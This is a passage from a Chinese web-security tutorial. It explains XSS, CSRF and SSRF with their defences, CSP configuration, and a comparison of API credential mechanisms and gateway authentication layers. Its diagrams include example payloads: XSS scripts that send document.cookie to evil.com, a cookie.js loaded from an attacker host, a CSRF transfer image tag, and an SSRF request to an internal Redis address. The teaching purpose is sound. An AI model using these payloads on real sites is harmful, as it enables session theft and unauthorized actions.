记忆锚点:CORS 是标准方案,JSONP 是历史遗留,生产环境用 CORS。


Part 4:攻防与防护——如何兜底?

核心问题:会话管理、身份认证、同源策略构建了 Web 安全的基础设施,但攻击者总能找到突破口。常见的攻击手段有哪些?如何防御?

Web 安全攻防

三大攻击类型概览

graph TD
    A["Web 安全攻击"] --> B["XSS<br/>跨站脚本攻击"]
    A --> C["CSRF<br/>跨站请求伪造"]
    A --> D["SSRF<br/>服务端请求伪造"]

    B --> B1["注入恶意脚本<br/>偷取用户数据"]
    C --> C1["借用用户身份<br/>执行未授权操作"]
    D --> D1["借用服务器网络<br/>访问内网资源"]

    B1 --> B2["防御:输入转义<br/>CSP + HttpOnly"]
    C1 --> C2["防御:CSRF Token<br/>SameSite Cookie"]
    D1 --> D2["防御:URL 白名单<br/>禁止内网访问"]

    style B fill:#ffe6e6
    style C fill:#fff3e6
    style D fill:#e6e6ff
攻击 本质 攻击目标 一句话总结
XSS 在受害者浏览器中执行攻击者的脚本 用户数据(Cookie、表单) 偷内容
CSRF 借用受害者的已认证身份发起请求 用户操作(转账、改密码) 借身份
SSRF 借用服务器的网络位置访问内部资源 内网服务(数据库、管理后台) 借网络

XSS(Cross-Site Scripting)

XSS 攻击的核心是:攻击者的脚本在受害者的浏览器上下文中执行,从而可以访问该页面的 Cookie、DOM、LocalStorage 等。

三种 XSS 类型
类型 存储位置 触发方式 危害范围
存储型 服务器数据库 用户访问包含恶意脚本的页面 所有访问该页面的用户
反射型 URL 参数 用户点击恶意链接 点击链接的用户
DOM 型 客户端 DOM 前端 JavaScript 处理不当 触发条件的用户
存储型 XSS 攻击流程
sequenceDiagram
    participant Attacker as 攻击者
    participant Server as 服务器
    participant Victim as 受害者

    Attacker->>Server: 发表评论:<br/><script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
    Server->>Server: 存入数据库(未转义)

    Victim->>Server: 访问评论页面
    Server-->>Victim: 返回页面(包含恶意脚本)
    Victim->>Victim: 浏览器执行恶意脚本
    Victim->>Attacker: Cookie 被发送到 evil.com
    Attacker->>Attacker: 获取受害者 Cookie<br/>冒充受害者身份
反射型 XSS 攻击流程

反射型 XSS 的恶意脚本不存储在服务器上,而是通过 URL 参数"反射"回页面:

sequenceDiagram
    participant Attacker as 攻击者
    participant Victim as 受害者
    participant Server as 服务器

    Attacker->>Victim: 发送恶意链接<br/>https://search.com?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

    Victim->>Server: 点击链接,访问 URL
    Server->>Server: 将 q 参数值直接拼入 HTML<br/>(未转义)
    Server-->>Victim: 返回页面:<br/>"搜索结果:<script>...</script>"
    Victim->>Victim: 浏览器执行恶意脚本
    Victim->>Attacker: Cookie 被发送到 evil.com

与存储型的区别:反射型 XSS 需要诱导用户点击特定链接,影响范围是单个用户;存储型 XSS 存入数据库后影响所有访问该页面的用户。

DOM 型 XSS

DOM 型 XSS 的特殊之处在于:恶意脚本不经过服务器,完全在客户端 JavaScript 中触发。

sequenceDiagram
    participant Attacker as 攻击者
    participant Victim as 受害者
    participant Browser as 浏览器(客户端)

    Attacker->>Victim: 发送恶意链接<br/>https://app.com/page#<img src=x onerror=alert(document.cookie)>

    Victim->>Browser: 点击链接
    Browser->>Browser: 页面 JS 读取 location.hash<br/>document.getElementById('content').innerHTML = location.hash
    Browser->>Browser: 浏览器解析注入的 HTML<br/>执行 onerror 中的脚本

    Note over Browser: 整个过程不经过服务器<br/>服务器日志中看不到攻击痕迹

典型的危险 API

  • document.innerHTML = userInput
  • document.write(userInput)
  • eval(userInput)
  • setTimeout(userInput, 0)

防御要点:使用 textContent 替代 innerHTML,使用 encodeURIComponent 处理 URL 参数。

XSS 防御措施
防御层 措施 作用
输入层 HTML 实体编码(<&lt; 防止脚本注入
输出层 根据上下文选择编码方式(HTML/JS/URL/CSS) 防止不同上下文的注入
DOM 层 使用 textContent 替代 innerHTML 防止 DOM 型 XSS
Cookie 层 设置 HttpOnly 标志 禁止 JavaScript 读取 Cookie
浏览器层 配置 CSP(Content Security Policy) 限制脚本来源

CSRF(Cross-Site Request Forgery)

CSRF 攻击的核心是:浏览器在发送跨站请求时会自动携带目标站点的 Cookie。攻击者不需要知道 Cookie 的内容,只需要诱导用户的浏览器发起请求。

CSRF 攻击

CSRF 攻击流程
sequenceDiagram
    participant U as 受害者浏览器
    participant Bank as bank.com
    participant Evil as evil.com

    U->>Bank: 登录 bank.com
    Bank-->>U: Set-Cookie: session=abc123

    U->>Evil: 访问 evil.com(被诱导点击)
    Evil-->>U: 返回恶意页面<br/><img src="https://bank.com/transfer?to=attacker&amount=10000">

    Note over U: 浏览器自动携带 bank.com 的 Cookie
    U->>Bank: GET /transfer?to=attacker&amount=10000<br/>Cookie: session=abc123
    Bank->>Bank: 验证 Session → 有效<br/>执行转账
    Bank-->>U: 转账成功
CSRF Token 防御流程
sequenceDiagram
    participant U as 用户浏览器
    participant S as 服务器
    participant E as evil.com

    Note over U,S: 正常请求流程
    U->>S: GET /transfer-form
    S->>S: 生成 CSRF Token<br/>存入 Session
    S-->>U: 返回表单<br/><input type="hidden" name="_csrf" value="token123">

    U->>S: POST /transfer<br/>Cookie: session=abc123<br/>Body: to=friend&amount=100&_csrf=token123
    S->>S: 验证 CSRF Token<br/>Session 中的 Token == 请求中的 Token
    S-->>U: 转账成功

    Note over U,E: CSRF 攻击被拦截
    U->>E: 访问 evil.com
    E-->>U: <form action="bank.com/transfer"><br/>(无法获取 CSRF Token)

    U->>S: POST /transfer<br/>Cookie: session=abc123<br/>Body: to=attacker&amount=10000<br/>(缺少 _csrf 参数)
    S->>S: CSRF Token 验证失败
    S-->>U: 403 Forbidden
CSRF 防御措施
防御措施 原理 适用场景
CSRF Token 服务端生成随机 Token,嵌入表单,提交时验证 传统表单提交
SameSite Cookie 限制 Cookie 在跨站请求中的发送 现代浏览器
检查 Referer/Origin 验证请求来源是否合法 辅助防御
双重 Cookie 将 Token 同时放在 Cookie 和请求参数中 API 场景

SSRF(Server-Side Request Forgery)

SSRF 攻击的核心是:攻击者通过服务器发起请求,访问服务器所在内网的资源。服务器成为攻击者的"跳板"。

SSRF 攻击流程
sequenceDiagram
    participant A as 攻击者
    participant S as 目标服务器
    participant I as 内网服务<br/>(192.168.1.100)

    A->>S: POST /fetch-url<br/>url=http://192.168.1.100:6379/
    Note over S: 服务器在内网中<br/>可以访问内网地址
    S->>I: GET http://192.168.1.100:6379/
    I-->>S: Redis 响应数据
    S-->>A: 返回内网数据

    Note over A: 攻击者获取了<br/>本不可达的内网数据
SSRF 防御措施
防御措施 原理
URL 白名单 只允许访问预定义的域名/IP
禁止内网地址 过滤 10.x.x.x172.16-31.x.x192.168.x.x127.0.0.1
禁止非常用协议 只允许 HTTP/HTTPS,禁止 file://gopher://dict://
DNS 重绑定防护 解析 URL 后验证 IP,防止 DNS 指向内网

记忆锚点:XSS 偷内容靠注入脚本,CSRF 借身份靠自动携带 Cookie,SSRF 借网络靠服务器跳板。

CSP 内容安全策略

核心问题:即使做了输入转义和 HttpOnly,XSS 防御仍可能存在遗漏。能否从浏览器层面建立最后一道防线?

CSP(Content Security Policy,W3C 规范)通过 HTTP 响应头告诉浏览器:只允许加载和执行来自指定来源的资源。即使攻击者成功注入了恶意脚本,浏览器也会拒绝执行。

CSP 工作原理

sequenceDiagram
    participant S as 服务器
    participant B as 浏览器
    participant CDN as cdn.example.com
    participant Evil as evil.com

    S-->>B: HTTP 响应<br/>Content-Security-Policy:<br/>script-src 'self' https://cdn.example.com

    B->>CDN: 加载 https://cdn.example.com/app.js
    CDN-->>B: 返回脚本
    B->>B: 来源在白名单中 → 允许执行

    Note over B: 页面中存在注入的恶意脚本
    B->>B: 发现 <script src="https://evil.com/steal.js">
    B->>B: evil.com 不在白名单中 → 拒绝加载
    B->>S: 发送 CSP 违规报告

GitHub CSP 配置

CSP 指令速查

指令 控制的资源 示例
default-src 所有资源的默认策略 default-src 'self'
script-src JavaScript 脚本 script-src 'self' https://cdn.com
style-src CSS 样式 style-src 'self' 'sha256-xxx'
img-src 图片 img-src * data:
connect-src AJAX/WebSocket/Fetch connect-src 'self' https://api.com
font-src 字体文件 font-src 'self'
frame-src iframe 嵌入 frame-src 'none'
frame-ancestors 允许嵌入本页面的父页面 frame-ancestors 'self'
script-src-elem <script> 元素(CSP Level 3) script-src-elem 'self'

CSP 格式

CSP 值类型

含义 示例
'none' 禁止加载任何资源 script-src 'none'
'self' 仅允许同源资源 script-src 'self'
* 允许任何来源 img-src *
https: 仅允许 HTTPS 资源 img-src https:
'nonce-{value}' 允许携带指定 nonce 的内联脚本 script-src 'nonce-abc123'
'sha256-{hash}' 允许哈希匹配的内联脚本 style-src 'sha256-xxx'
'unsafe-inline' 允许内联脚本/样式(危险) script-src 'unsafe-inline'
'unsafe-eval' 允许 eval() 等危险函数 script-src 'unsafe-eval'

记忆锚点:none 禁止,self 同源, 全开,unsafe 危险。*

实战配置模板

高安全站点(银行)

1
2
3
4
5
6
7
8
9
10
Content-Security-Policy: default-src 'none';
script-src 'self' 'nonce-{{nonce}}';
style-src 'self' 'sha256-{{hash}}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;

通用业务站点

1
2
3
4
5
Content-Security-Policy: default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'sha256-AbCdEf==';
img-src * data:;
frame-ancestors 'self';

违规报告与监控

CSP 提供两种模式:强制模式报告模式

模式 响应头 行为
强制模式 Content-Security-Policy 拦截违规资源 + 发送报告
报告模式 Content-Security-Policy-Report-Only 不拦截,仅发送报告

报告模式适用于:

  • 新站点上线前收集违规情况
  • 逐步收紧 CSP 策略,避免直接阻断业务
  • 监控第三方资源的变化

服务器接收的 JSON 报告示例:

1
2
3
4
5
6
7
8
{
"csp-report": {
"document-uri": "https://example.com/",
"blocked-uri": "https://evil.com/x.js",
"violated-directive": "script-src",
"original-policy": "default-src 'self'; script-src 'self' https://cdn.com"
}
}

记忆锚点:Report-Only 只报告不拦截,强制模式拦截并报告。

实际攻击拦截示例

假设站点配置了以下 CSP 规则:

1
Content-Security-Policy: script-src-elem 'self' https://cdn.jsdelivr.net; report-uri /csp-report;

攻击场景:攻击者在评论框中注入恶意脚本

1
<script src="http://xss.hacker.tools/cookie.js"></script>

拦截结果

  • 浏览器控制台报错:Refused to load http://xss.hacker.tools/cookie.js because it does not appear in the script-src directive of the Content Security Policy.
  • 恶意脚本被拦截,XSS 攻击失败
  • 服务器收到违规报告,可追踪攻击来源

对比:如果没有 CSP,恶意脚本将被执行,攻击者可窃取用户 Cookie。

漏洞占比与 CSP 的重要性

根据 2019-2020 年度漏洞统计数据,XSS 仍是 Web 安全中最常见的漏洞类型之一:

2019-2020年度漏洞占比

CSP 作为浏览器层面的防护机制,可以有效阻断大部分 XSS 攻击,是 Web 安全防护体系的重要组成部分。

记忆锚点:XSS 占比高,CSP 兜底防。

常见误区

  • [错误] CSP 能防 SQL 注入、SSRF → CSP 只在浏览器生效,与后端漏洞无关
  • [错误] 加了 CSP 就不用转义 → CSP 是额外防线,仍需输入输出编码
  • [错误] unsafe-inline 方便 → 等于关掉 XSS 防护,生产环境禁用

<meta> 标签与响应头对比

维度 HTTP 响应头 <meta> 标签
功能完整性 完整 不支持 report-toframe-ancestorssandbox
生效时机 最早(HTTP 层) 解析到 <meta> 时才生效
适用场景 生产环境(推荐) 静态托管、CDN 边缘节点的应急部署
覆盖范围 所有资源 仅当前 HTML 文档

Part 5:凭证分类学——如何为 API 选型?

核心问题:Part 2 解决了"如何在 HTTP 中传递身份"。但在微服务、多平台 API、LLM 调用等后端场景中,凭证机制的选择远比"用 Bearer Token"更复杂。六种主流机制各有什么取舍?如何避免常见的凭证设计陷阱?

六种凭证机制全景

从安全强度由弱到强排列:

机制 本质 有效期 被盗后果 典型用途
API Key(长期 Bearer) 静态令牌,谁持有谁通过 永久 / 手动轮换 完全冒充,直到吊销 OpenAI sk-xxx、云服务 API
OAuth 2.x access + refresh 短期令牌 + 刷新机制 access: 分钟~天;refresh: 天~月 access 被盗窗口短;refresh 需吊销 GitHub OAuth、Google API
JWT(JSON Web Token) 自包含签名,可离线验证 签发时指定(通常分钟级) 无法单独吊销(除非短 exp 或黑名单) 微服务间认证、OIDC ID Token
HMAC 请求签名 每次请求重算,密钥不传输 密钥不变 = 永久,但签名一次性 密钥被盗 = 完全冒充,但签名不能重放 AWS SigV4、支付宝签名
DPoP(Proof of Possession) Bearer + 持有证明,绑定密钥对 access 短期,绑定持有者 token 被盗无用(缺私钥不能用) OAuth 2.1 推荐、FAPI 2.0
mTLS(Mutual TLS) 证书双向验证,TLS 层绑定 证书有效期(通常年级) 需私钥 + 证书链全盗,最难利用 金融级服务间、K8s Pod 身份

“Bearer” 不是 Token 类型,是使用方式

Bearer 是 RFC 6750 定义的一种 Token 使用方式,不是 Token 本身的类型:

1
2
"Bearer" = "谁持有谁能用"(bearer = 持票人)
"Proof of Possession" = "持有 + 证明你是 owner 才能用"

因此:

  • API Key 是 Bearer 方式的静态 token —— 永不过期、被盗即死
  • OAuth access_token 也是 Bearer —— 但有效期短、被盗窗口小
  • JWT 通常作为 Bearer 使用 —— 自包含,过期自动失效
  • HMAC 签名不是 Bearer —— 密钥不传输,每次现算

LLM API 领域选 API Key 的原因

  1. 机器对机器场景(M2M),没有"用户"概念 —— OAuth 的授权流无意义
  2. 调用方是后端服务 / CI / 脚本 —— 密钥可控(不暴露给浏览器)
  3. 频率极高(每次 LLM 调用都带)—— 签名计算开销不值得
  4. 已有 TLS 保护传输层 —— Bearer 的"被截获"风险实际很低
  5. 简单 > 安全余量 —— 开发者体验优先

企业内部平台选 HMAC + OAuth 双层的原因

  1. HMAC 签名 → 证明"哪个应用在调"(不传输密钥,防截获)
  2. OAuth → 证明"哪个人在用"(办公网多人共用设备的场景)
  3. 两层叠加 → 应用身份 + 用户身份的双因素

记忆锚点:Bearer 是"怎么用",不是"是什么"。API Key、OAuth token、JWT 都可以是 Bearer。

“经常换 Token” 不是绝对安全原则

"Token 经常换更安全"是简化说法。完整版:

1
安全 = f(被盗概率, 被盗后损失窗口, 吊销速度)

不同机制的应对策略:

机制 被盗概率 被盗窗口 适合场景 不适合场景
API Key 低(后端保管,TLS 传输) 无限(直到发现并吊销) 可控环境 + 低价值调用 高价值操作(转账、删除)
OAuth access 较高(HTTP header 每次传) 短(过期自动失效) 用户身份场景 / 浏览器 / 多端
HMAC 签名 极低(密钥不传输) 极短(签名带时间戳) M2M / 内部服务 / 高安全

结论

  • "经常换"解决的是长期 Bearer 的被盗窗口问题
  • OAuth 把"经常换"自动化了(短 access + auto refresh)
  • HMAC 从根本上不需要换(签名不可重放 + 密钥不传输)
  • 选型不是"哪个更安全",而是安全收益 vs 复杂度开销的权衡

记忆锚点:安全 = f(被盗概率, 损失窗口, 吊销速度)。不是所有凭证都需要"经常换"。

HMAC 请求签名机制

Part 2 介绍的 Bearer Token 是"持有即通过",HMAC 请求签名则是另一种思路:密钥永远不传输,每次请求用密钥现场计算签名

sequenceDiagram
    participant C as 客户端
    participant S as 服务端

    Note over C: 持有应用ID + 密钥(预分配)
    C->>C: 1. 取当前时间戳 + 随机数
    C->>C: 2. 拼接签名材料 = 应用ID + 时间戳 + 请求路径 + Body
    C->>C: 3. 签名 = HMAC-SHA256(密钥, 签名材料)

    C->>S: 请求 + 签名 Headers<br/>X-App-Identity: app_id<br/>X-Sign-Data: timestamp+nonce<br/>X-Signature: hmac_value

    S->>S: 1. 用相同密钥 + 相同材料重算签名
    S->>S: 2. 比对签名值 → 匹配则通过
    S->>S: 3. 检查时间戳 → 超过窗口则拒绝(防重放)
    S-->>C: 200 OK

关键特性

特性 说明
永不过期 密钥不变就永远有效,没有 token 续期概念
每次重算 不缓存,每个请求生成新签名
密钥不传输 网络上只能看到签名,看不到密钥
防重放 时间戳 + 随机数确保签名一次性
应用身份 证明"哪个应用在调",不是"哪个人在调"
密钥分环境注入 容器由部署管线自动注入(K8s Secret / Vault),开发机需手动配置

典型实现:AWS SigV4(所有 AWS API 的标准认证)、阿里云 AK/SK 签名、支付宝 RSA 签名、微信支付 HMAC-SHA256。

HMAC 签名 vs Bearer Token

维度 Bearer Token HMAC 签名
传输内容 token 本身 签名值(密钥不传输)
被截获风险 token 可被重用 签名带时间戳,过期即废
有效期管理 需要续期 / 刷新 密钥永久,签名一次性
实现复杂度 简单(直接放 Header) 较复杂(需要签名算法)
适用场景 公有 API、用户认证 服务间调用、支付、内部平台

记忆锚点:HMAC 签名 = 密钥不出门,签名当通行证,时间戳防重放。

HMAC + OAuth 双层叠加

上文解释了企业平台为何选择 HMAC + OAuth 双层。具体到请求级别,两组凭证如何共存?

1
2
HMAC  = 证明"哪个应用在调"(应用身份)→ 网关先验
OAuth = 证明"哪个人在用"(用户身份)→ 网关后验

一个 HTTP 请求可以同时携带两组凭证 headers,互不冲突:

凭证组 内容 通过的网关层级
HMAC 签名组 应用 ID + 时间戳 + 签名值(多个自定义 headers) Layer 1(身份存在)+ Layer 2(访问控制)
OAuth Bearer 组 Authorization: Bearer <access_token> Layer 3(条件强认证)

搭配规则取决于网络信任区域:

  • 高信任网络(内网容器间调用) → 只需 HMAC 签名组(Layer 3 不触发)
  • 低信任网络(办公网 / 公网) → HMAC + OAuth 必须同时发送

这种"应用身份 + 用户身份"双因素架构在主流云平台中普遍存在:AWS 的 IAM Role + STS 临时凭证、Google Cloud 的 Service Account + OAuth、Azure 的 Managed Identity + AAD Token。

记忆锚点:HMAC 和 OAuth 是叠加关系——HMAC 管应用身份,OAuth 管用户身份,网关按顺序验证。

API 网关多层鉴权架构

大型企业的 API 网关通常不是单一认证,而是分层递进的鉴权架构:

graph TD
    R["请求进入 API 网关"] --> L1

    subgraph "Layer 1: 身份存在性"
        L1{"携带了身份凭证?"}
        L1 -->|"无"| R1["401 Unauthorized"]
        L1 -->|"有"| L2
    end

    subgraph "Layer 2: 访问控制"
        L2{"身份在白名单中?"}
        L2 -->|"资源公开"| L2P["放行"]
        L2 -->|"资源受控 + 不在名单"| R2["403 Forbidden"]
        L2P --> L3
        L2 -->|"资源受控 + 在名单中"| L3
    end

    subgraph "Layer 3: 条件强认证"
        L3{"来自低信任网络?<br/>或资源开启强认证?"}
        L3 -->|"不触发"| OK["200 放行"]
        L3 -->|"触发"| L3C{"有合法 OAuth / mTLS?"}
        L3C -->|"有"| OK
        L3C -->|"无"| R3["401 需要强认证"]
    end

    style R1 fill:#ffe6e6
    style R2 fill:#ffe6e6
    style R3 fill:#ffe6e6
    style OK fill:#e6ffe6

这个架构解释了一个常见困惑:为什么同一个 API,在容器内网调用只需简单的应用签名,但从开发机调用却需要额外的 OAuth 登录?因为网关根据请求来源网络动态决定是否触发 Layer 3:

  • 内网服务间调用 → Layer 3 不触发 → HMAC 签名够用
  • 办公网 / 公网 → Layer 3 触发 → 必须额外提供 OAuth token

安全开关的正交维度:实际网关的安全配置通常分布在多个独立开关上,各控制不同层级:

  • 资源级:公开 / 需授权 / 私有(控制 Layer 2 是否校验白名单)
  • 应用级:访问控制开关(增强 Layer 2,校验应用绑定关系)
  • 接口级:认证授权开关(控制 Layer 3 是否在内网也触发)

这些开关的交互效果往往不是直觉可预测的——例如"访问控制 = 开"并不意味着必须提供 OAuth token,它只是增强了应用身份的绑定校验;而"接口级认证授权 = 开"才会让 Layer 3 在内网也触发。理解每个开关的作用层级是排查鉴权问题的关键。

记忆锚点:Layer 1 查有没有身份,Layer 2 查有没有权限,Layer 3 按网络区域决定是否强认证。

凭证选型决策树

选型不是"哪个更安全"的单一维度,而是多因素权衡:

graph TD
    Q1["Q1: 对方提供什么凭证机制?"] --> Q1A{"有选择?"}
    Q1A -->|"没得选"| USE["按平台要求接入"]
    Q1A -->|"有选择"| Q2

    Q2["Q2: 凭证放在哪里?"] --> Q2A{"运行环境?"}
    Q2A -->|"后端容器 / Vault"| Q3
    Q2A -->|"浏览器 / 移动端"| OAUTH["OAuth 2.1 + PKCE"]
    Q2A -->|"办公网开发机"| CHECK["检查平台是否强制 OAuth"]

    Q3["Q3: 泄露的最坏后果?"] --> Q3A{"数据敏感度?"}
    Q3A -->|"只读"| APIKEY["API Key(简单够用)"]
    Q3A -->|"可写 / 可删"| HMAC["HMAC 签名 或 OAuth"]
    Q3A -->|"用户身份相关"| OAUTH2["必须 OAuth"]

    style APIKEY fill:#e6ffe6
    style OAUTH fill:#fff3e6
    style OAUTH2 fill:#fff3e6
    style HMAC fill:#e6f3ff
    style USE fill:#f9f9f9
    style CHECK fill:#fff3e6

行业实践速查(截至 2026)

场景 主流选择 代表
公有云 LLM API 长期 API Key(Bearer) OpenAI sk-xxx / Anthropic sk-ant-xxx
公有云基础设施 AK/SK HMAC 签名 AWS SigV4 / 阿里云签名 / 腾讯云签名
企业内部服务间 HMAC 签名 / mTLS K8s ServiceAccount / Istio mTLS
用户登录 + API OAuth 2.x + JWT Google / GitHub / 微信开放平台
金融级 API mTLS + DPoP + OAuth PSD2 / Open Banking / FAPI 2.0
移动端 + 后端 OAuth 2.1 PKCE iOS/Android 第三方登录
浏览器 SPA OAuth 2.1 BFF 模式 token 不放前端,后端代持

常见凭证设计失败模式

在实际项目中,凭证问题的根因往往不是"安全性不够",而是混淆、误用和环境差异

失败模式 症状 根因 防御
跨平台 Token 混淆 401,服务端不识别 将平台 A 的 token 发给了平台 B(多平台 token 不通用) 代码中对每个 endpoint 严格绑定凭证来源
同名 Token 类型混淆 Token "对了"但认证不通过 多种 token 都叫"access token"但本质不同(OAuth vs 管控 Bearer vs HMAC 附属) 区分 token 的来源、格式和用途,不要只看名字
环境变量短路 本地永远 401 env 中设了错误 token,代码 if env: return env 短路了正确的 OAuth 流程 env 覆盖入口加格式校验和过期检查
网络区域鉴权差异 容器通了但开发机不通 网关根据来源网络动态启用不同层级鉴权 对每个环境做独立 probe 测试
SDK vs 文档漂移 按文档手动拼 headers 少字段 SDK 版本比文档新,增加了额外 headers 用 SDK 返回值,不要手动拼凭证 headers
服务端鉴权配置变更 原本通过的请求突然 401 服务端 owner 开启了接口级认证开关,改变了网关鉴权行为 监控依赖服务的鉴权配置;对关键 API 设置 probe 健康检查
异常包装掩盖根因 日志里看不到真正的 401/403 框架异常聚合机制(TaskGroup、Promise.all)将鉴权错误包装在 wrapper 里 实现递归异常解包,日志中打印根因而非 wrapper

记忆锚点:凭证 bug 九成不是安全设计问题,而是混淆、环境差异或短路逻辑。


模式速查表

关键词 模式 方案 口诀
HTTP 无状态 载体 + 服务端存储 Cookie + Session Cookie 传 ID,Session 存数据
Cookie 安全 属性控制 六大属性 + SameSite 域路径定范围,三开关定安全
分布式 Session 集中存储 Redis 共享 Session 复制有风暴,粘性怕宕机,Redis 是首选
HTTP 认证 质询-响应 Basic → Digest → Bearer 明文 → 哈希 → 令牌
无状态令牌 自包含 + 签名 JWT 签名防篡改,过期防滥用,签出去收不回来
跨系统免登录 中心化认证 CAS SSO 没 Cookie 就跳转,有 TGC 就签 ST
第三方授权 授权码分离 OAuth 2.0 前端拿 Code,后端换 Token
浏览器隔离 同源策略 SOP + CORS 协议域名端口三元组
脚本注入 输入转义 + 浏览器兜底 编码 + CSP + HttpOnly XSS 偷内容,转义是基础,CSP 是兜底
身份借用 Token 验证 CSRF Token + SameSite CSRF 借身份,Token 来验证
网络穿透 白名单 + 地址过滤 URL 白名单 + 禁内网 SSRF 借网络,白名单来挡
资源加载控制 白名单策略 CSP 脚本管 XSS,frame 管劫持
凭证分类 六种机制分级 API Key → OAuth → HMAC → mTLS Bearer 是用法,不是 Token 类型
安全选型 三因素权衡 被盗概率 × 损失窗口 × 吊销速度 不是所有凭证都需要"经常换"
API 网关鉴权 三层递进 身份存在 → 访问控制 → 条件强认证 网络区域决定认证层级
双层叠加 HMAC + OAuth 应用身份 + 用户身份,同一请求双组 headers HMAC 管应用,OAuth 管用户
凭证陷阱 失败模式 混淆 / 短路 / 环境差异 / 配置变更 用 SDK 不要手动拼